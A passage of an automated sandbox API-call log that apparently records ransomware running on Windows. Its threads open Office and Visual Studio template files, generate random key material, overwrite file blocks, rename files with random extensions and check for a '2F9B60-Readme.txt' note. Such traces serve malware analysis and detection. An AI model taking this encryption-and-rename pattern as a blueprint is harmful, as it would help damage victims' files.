Seed=0x2a22f630) returned 0xba7105b [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x75bd83fa [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x81a5305 [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x282e7084 [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0xbe5b440 [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0xc371a78 [0234.408] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x478dd3a1 [0234.408] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x7c17c48a [0234.408] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x5267bb5c [0234.408] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x10eef3e4 [0234.408] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x418fab6b [0234.408] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x38acb81f [0234.408] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x14129c6e [0234.408] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x46365f1b [0234.408] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x3469abaa [0234.414] ReadFile (in: hFile=0x2414, lpBuffer=0x202d3d40, nNumberOfBytesToRead=0x24d, lpNumberOfBytesRead=0x2a22f630, lpOverlapped=0x0 | out: lpBuffer=0x202d3d40*, lpNumberOfBytesRead=0x2a22f630*=0x24d, lpOverlapped=0x0) returned 1 [0234.414] SetFilePointerEx (in: hFile=0x2414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.414] WriteFile (in: hFile=0x2414, lpBuffer=0x202df170*, nNumberOfBytesToWrite=0x24d, lpNumberOfBytesWritten=0x2a22f634, lpOverlapped=0x0 | out: lpBuffer=0x202df170*, lpNumberOfBytesWritten=0x2a22f634*=0x24d, lpOverlapped=0x0) returned 1 [0236.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3760 [0236.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f34f0 [0236.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f34f0) returned 1 [0236.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202df170) returned 1 [0236.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202d3d40) returned 1 [0236.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0236.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62280) returned 1 [0236.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f34f0 [0236.421] SetFilePointerEx (in: hFile=0x2414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0236.421] WriteFile (in: hFile=0x2414, lpBuffer=0x16a080*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2a22f750, lpOverlapped=0x0 | out: lpBuffer=0x16a080*, lpNumberOfBytesWritten=0x2a22f750*=0x104, lpOverlapped=0x0) returned 1 [0236.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62780 [0236.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504210 [0236.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264200 [0236.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264200) returned 1 [0236.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfe0 [0236.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264200 [0236.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267290 [0236.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267290) returned 1 [0236.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504210) returned 1 [0236.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62780) returned 1 [0236.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x20267290 [0236.924] sprintf (in: _Dest=0x20267290, _Format="%c%c" | out: _Dest="7f") returned 2 [0236.924] sprintf (in: _Dest=0x20267292, _Format="%c%c" | out: _Dest="1e") returned 2 [0236.924] sprintf (in: _Dest=0x20267294, _Format="%c%c" | out: _Dest="a5") returned 2 [0236.924] sprintf (in: _Dest=0x20267296, _Format="%c%c" | out: _Dest="03") returned 2 [0236.924] sprintf (in: _Dest=0x20267298, _Format="%c%c" | out: _Dest="27") returned 2 [0236.924] sprintf (in: _Dest=0x2026729a, _Format="%c%c" | out: _Dest="40") returned 2 [0236.924] sprintf (in: _Dest=0x2026729c, _Format="%c%c" | out: _Dest="ee") returned 2 [0236.924] sprintf (in: _Dest=0x2026729e, _Format="%c%c" | out: _Dest="29") returned 2 [0236.924] sprintf (in: _Dest=0x202672a0, _Format="%c%c" | out: _Dest="72") returned 2 [0236.924] sprintf (in: _Dest=0x202672a2, _Format="%c%c" | out: _Dest="e3") returned 2 [0236.924] sprintf (in: _Dest=0x202672a4, _Format="%c%c" | out: _Dest="c3") returned 2 [0236.924] sprintf (in: _Dest=0x202672a6, _Format="%c%c" | out: _Dest="b8") returned 2 [0236.925] sprintf (in: _Dest=0x202672a8, _Format="%c%c" | out: _Dest="eb") returned 2 [0236.925] sprintf (in: _Dest=0x202672aa, _Format="%c%c" | out: _Dest="b1") returned 2 [0236.925] sprintf (in: _Dest=0x202672ac, _Format="%c%c" | out: _Dest="44") returned 2 [0236.925] sprintf (in: _Dest=0x202672ae, _Format="%c%c" | out: _Dest="5f") returned 2 [0236.925] sprintf (in: _Dest=0x202672b0, _Format="%c%c" | out: _Dest="ef") returned 2 [0236.925] sprintf (in: _Dest=0x202672b2, _Format="%c%c" | out: _Dest="f0") returned 2 [0236.925] RtlInitAnsiString (in: DestinationString=0x2a22f7c8, SourceString="7f1ea5032740ee2972e3c3b8ebb1445feff0" | out: DestinationString="7f1ea5032740ee2972e3c3b8ebb1445feff0") [0236.925] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a22f798, SourceString="7f1ea5032740ee2972e3c3b8ebb1445feff0", AllocateDestinationString=1 | out: DestinationString="7f1ea5032740ee2972e3c3b8ebb1445feff0") returned 0x0 [0236.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x431f9b40 [0236.926] wcscat (in: _Dest=0x423abeb0, _Source="7f1ea5032" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\7f1ea5032") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\7f1ea5032" [0236.926] wcscat (in: _Dest=0x423abeb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\7f1ea5032.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\7f1ea5032.2f9b60" [0236.926] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\7f1ea5032.2f9b60", NtPathName=0x2a22f770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\7f1ea5032.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x16a080 [0237.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x16a080) returned 1 [0237.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43207810) returned 1 [0237.332] NtQueryInformationFile (in: FileHandle=0x2414, IoStatusBlock=0x2a22f7d8, FileInformation=0x2a22f7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a22f7d8, FileInformation=0x2a22f7e8) returned 0x0 [0237.332] NtSetInformationFile (FileHandle=0x2414, IoStatusBlock=0x2a22f7d8, FileInformation=0x2a22f7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423abeb0) returned 1 [0237.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f9b40) returned 1 [0237.335] FlushFileBuffers (hFile=0x2414) returned 1 [0238.227] CloseHandle (hObject=0x2414) returned 1 [0241.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe8) returned 0x1ceb6890 [0241.610] wcscpy (in: _Dest=0x1ceb6890, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\" [0241.610] wcscat (in: _Dest=0x1ceb6890, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\2F9B60-Readme.txt" [0241.610] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\2f9b60-readme.txt")) returned 0x20 [0244.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb6890) returned 1 [0244.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43156aa0) returned 1 Thread: id = 3961 os_tid = 0xa70 [0234.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\MedianFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\medianfax.dotx")) returned 0x20 [0234.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\MedianFax.Dotx", dwFileAttributes=0x20) returned 1 [0234.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\MedianFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\medianfax.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2234 [0234.444] GetFileSizeEx (in: hFile=0x2234, lpFileSize=0x503bfc80 | out: lpFileSize=0x503bfc80*=104818) returned 1 [0234.444] SetFilePointerEx (in: hFile=0x2234, liDistanceToMove=0x1996e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.444] ReadFile (in: hFile=0x2234, lpBuffer=0x503bfc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x503bfc48, lpOverlapped=0x0 | out: lpBuffer=0x503bfc00*, lpNumberOfBytesRead=0x503bfc48*=0x4, lpOverlapped=0x0) returned 1 [0235.049] SetFilePointerEx (in: hFile=0x2234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab7c0 [0235.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267260 [0235.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267020 [0235.050] NtQuerySystemTime (in: CurrentTime=0x503bfb40 | out: CurrentTime=0x503bfb40*=132462178388590000) returned 0x0 [0235.050] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x7eb9fea4 [0235.050] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x38ae9695 [0235.050] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x34db6181 [0235.050] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x3b996c1d [0235.050] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x5bbc5c [0235.050] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x83e3cde [0235.050] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x46542dfe [0235.050] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x6b9fb826 [0235.050] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x5ce0d6ca [0235.050] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x3a990bc7 [0235.050] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x2e2f62fa [0235.050] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x2b8de2ba [0235.051] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x4be3b9bf [0235.051] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x1e6e5af9 [0235.051] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x3990372e [0235.051] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x2aa05b31 [0235.051] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x249de9f9 [0235.051] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x5bca5362 [0235.051] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x1f92f7d2 [0235.051] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x16b10005 [0235.051] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x54a8adf9 [0235.051] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x2591343e [0235.051] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0xe9cf824 [0235.051] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x1dc6366d [0235.051] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x758a50d2 [0235.051] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0xc23c436 [0235.051] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x5b6cb1ff [0235.051] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x69ccadac [0235.051] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x3a4ec511 [0235.051] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0xd9e1f42 [0235.051] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x4f3e67fc [0235.051] RtlRandomEx (in: Seed=0x503bfb30 | out: Seed=0x503bfb30) returned 0x3357f4df [0235.059] SetFilePointerEx (in: hFile=0x2234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.059] ReadFile (in: hFile=0x2234, lpBuffer=0x4296daa0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x503bfba0, lpOverlapped=0x0 | out: lpBuffer=0x4296daa0*, lpNumberOfBytesRead=0x503bfba0*=0x3c00, lpOverlapped=0x0) returned 1 [0235.117] SetFilePointerEx (in: hFile=0x2234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058420 [0235.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f10 [0235.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6830 [0235.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6830) returned 1 [0235.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d04990 [0235.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6830 [0235.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7760 [0235.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7760) returned 1 [0235.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f10) returned 1 [0235.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058420) returned 1 [0235.122] WriteFile (in: hFile=0x2234, lpBuffer=0x41d04990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x503bfba0, lpOverlapped=0x0 | out: lpBuffer=0x41d04990*, lpNumberOfBytesWritten=0x503bfba0*=0x3c00, lpOverlapped=0x0) returned 1 [0241.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d04990) returned 1 [0241.038] SetFilePointerEx (in: hFile=0x2234, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.038] ReadFile (in: hFile=0x2234, lpBuffer=0x4296daa0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x503bfba0, lpOverlapped=0x0 | out: lpBuffer=0x4296daa0*, lpNumberOfBytesRead=0x503bfba0*=0x3c00, lpOverlapped=0x0) returned 1 [0241.040] SetFilePointerEx (in: hFile=0x2234, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420594c0 [0241.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0241.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6980 [0241.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6980) returned 1 [0241.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42978ed0 [0241.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6980 [0241.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a61d0 [0241.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a61d0) returned 1 [0241.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0241.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0241.044] WriteFile (hFile=0x2234, lpBuffer=0x42978ed0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x503bfba0, lpOverlapped=0x0) Thread: id = 3962 os_tid = 0x924 [0234.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OrielFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\orielfax.dotx")) returned 0x20 [0234.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OrielFax.Dotx", dwFileAttributes=0x20) returned 1 [0234.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OrielFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\orielfax.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b34 [0234.448] GetFileSizeEx (in: hFile=0x1b34, lpFileSize=0x209ffc00 | out: lpFileSize=0x209ffc00*=113650) returned 1 [0234.448] SetFilePointerEx (in: hFile=0x1b34, liDistanceToMove=0x1bbee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.448] ReadFile (in: hFile=0x1b34, lpBuffer=0x209ffb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x209ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x209ffb80*, lpNumberOfBytesRead=0x209ffbc8*=0x4, lpOverlapped=0x0) returned 1 [0235.078] SetFilePointerEx (in: hFile=0x1b34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6830 [0235.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7f10 [0235.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7760 [0235.079] NtQuerySystemTime (in: CurrentTime=0x209ffac0 | out: CurrentTime=0x209ffac0*=132462178388902000) returned 0x0 [0235.079] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x4afb9fb4 [0235.079] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x6f068ec8 [0235.079] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x2c118cec [0235.079] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x4984d9e0 [0235.079] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x3db0d8e [0235.079] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x66436ab0 [0235.079] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x230305e8 [0235.079] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x4f32d9b9 [0235.079] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x5ebc54f3 [0235.079] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x3361249 [0235.079] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x4d906757 [0235.079] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x7463601a [0235.080] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x70f74788 [0235.080] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x4dc5a60a [0235.080] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x210ef909 [0235.080] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x2581bb2a [0235.080] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x895a7b2 [0235.080] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x2ff538c6 [0235.080] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x31648334 [0235.080] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x4cf608ad [0235.080] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x47803681 [0235.080] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x3bc8ae8e [0235.080] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x67e04303 [0235.080] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x1f26008a [0235.080] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x2d864263 [0235.080] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x65675099 [0235.080] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x6c18b2f2 [0235.080] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x31f9b4f8 [0235.080] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x180ac152 [0235.080] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x7eaa11b0 [0235.080] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x5d445872 [0235.080] RtlRandomEx (in: Seed=0x209ffab0 | out: Seed=0x209ffab0) returned 0x7c71464c [0235.089] SetFilePointerEx (in: hFile=0x1b34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.089] ReadFile (in: hFile=0x1b34, lpBuffer=0x41d00d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x209ffb20, lpOverlapped=0x0 | out: lpBuffer=0x41d00d80*, lpNumberOfBytesRead=0x209ffb20*=0x3c00, lpOverlapped=0x0) returned 1 [0235.122] SetFilePointerEx (in: hFile=0x1b34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058420 [0235.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f10 [0235.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7760 [0235.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7760) returned 1 [0235.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cea520 [0235.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7760 [0235.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b30 [0235.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6b30) returned 1 [0235.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f10) returned 1 [0235.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058420) returned 1 [0235.126] WriteFile (in: hFile=0x1b34, lpBuffer=0x41cea520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x209ffb20, lpOverlapped=0x0 | out: lpBuffer=0x41cea520*, lpNumberOfBytesWritten=0x209ffb20*=0x3c00, lpOverlapped=0x0) returned 1 [0240.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cea520) returned 1 [0240.993] SetFilePointerEx (in: hFile=0x1b34, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.993] ReadFile (in: hFile=0x1b34, lpBuffer=0x41d00d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x209ffb20, lpOverlapped=0x0 | out: lpBuffer=0x41d00d80*, lpNumberOfBytesRead=0x209ffb20*=0x3c00, lpOverlapped=0x0) returned 1 [0240.994] SetFilePointerEx (in: hFile=0x1b34, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0240.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0240.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8687c0 [0240.995] RtlAllocateHeap 